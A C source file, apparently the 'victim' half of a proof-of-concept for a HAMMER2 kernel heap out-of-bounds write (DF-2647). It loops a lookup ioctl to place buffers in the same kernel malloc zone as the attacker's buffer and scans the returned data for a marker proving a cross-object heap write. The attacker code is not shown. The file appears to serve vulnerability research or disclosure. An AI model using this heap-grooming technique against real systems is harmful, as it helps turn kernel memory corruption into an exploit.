DF-2647 / pfslookup_victim.c
/* * DF-2647 surgical-demonstration victim. Loops HAMMER2IOC_PFS_LOOKUP on * the mounted (normal) filesystem. Each call kmallocs a 320-byte * M_IOCTLOPS buffer (512-byte malloc zone -- the SAME zone as the * attacker's hammer2_ioc_pfs buffer used by PFS_GET). If a concurrent * PFS_GET OOB write smears heap over this ioctl's parked buffer, the * marker stamp "DF2647!!" appears in the buffer that is copied back to * us -> proof of a controlled cross-object kernel heap write. * * usage: pfslookup_victim <mountpoint-dir> <seconds> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <time.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> struct df2647_pfs { uint64_t name_key; uint64_t name_next; uint8_t pfs_type; uint8_t pfs_subtype; uint8_t reserved0012; uint8_t reserved0013; uint32_t pfs_flags; uint64_t reserved0018; unsigned char pfs_fsid[16]; unsigned char pfs_clid[16]; char name[256]; }; #define DF2647_PFS_LOOKUP _IOWR('h', 83, struct df2647_pfs) static const char stamp[8] = "DF2647!!"; int main(int argc, char **argv) { struct df2647_pfs pfs; time_t t_end; int fd, i, j, iters = 0; char *hit; if (argc < 3) { fprintf(stderr, "usage: %s <mnt> <seconds>\n", argv[0]); exit(2); } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); exit(1); } t_end = time(NULL) + atoi(argv[2]); printf("victim: running %ss\n", argv[2]); fflush(stdout); while (time(NULL) < t_end) { memset(&pfs, 'V', sizeof(pfs)); pfs.name[0] = 'z'; pfs.name[1] = 'z'; pfs.name[2] = 0; pfs.name[255] = 0; ioctl(fd, DF2647_PFS_LOOKUP, &pfs); ++iters; hit = NULL; for (i = 0; i < (int)sizeof(pfs) - 8; ++i) { for (j = 0; j < 8; ++j) if (((char *)&pfs)[i + j] != stamp[j]) break; if (j == 8) { hit = (char *)&pfs + i; break; } } if (hit) { FILE *f = fopen("/tmp/victim_hit.txt", "w"); printf("victim: MARKER HIT at buffer+%zd after %d " "ioctls\n", (char *)hit - (char *)&pfs, iters); printf("victim: surrounding bytes:\n"); for (i = 192; i < 320; i += 16) { int k; printf(" +%03d:", i); for (k = 0; k < 16; ++k) printf(" %02x", (unsigned char)pfs.name[i - 192 + k]); printf("\n"); } fflush(stdout); if (f) { fprintf(f, "hit_at_offset=%zd iters=%d\n", (char *)hit - (char *)&pfs, iters); fwrite(&pfs, sizeof(pfs), 1, f); fclose(f); } exit(42); } } printf("victim: finished, %d ioctls, no marker\n", iters); return 0; } |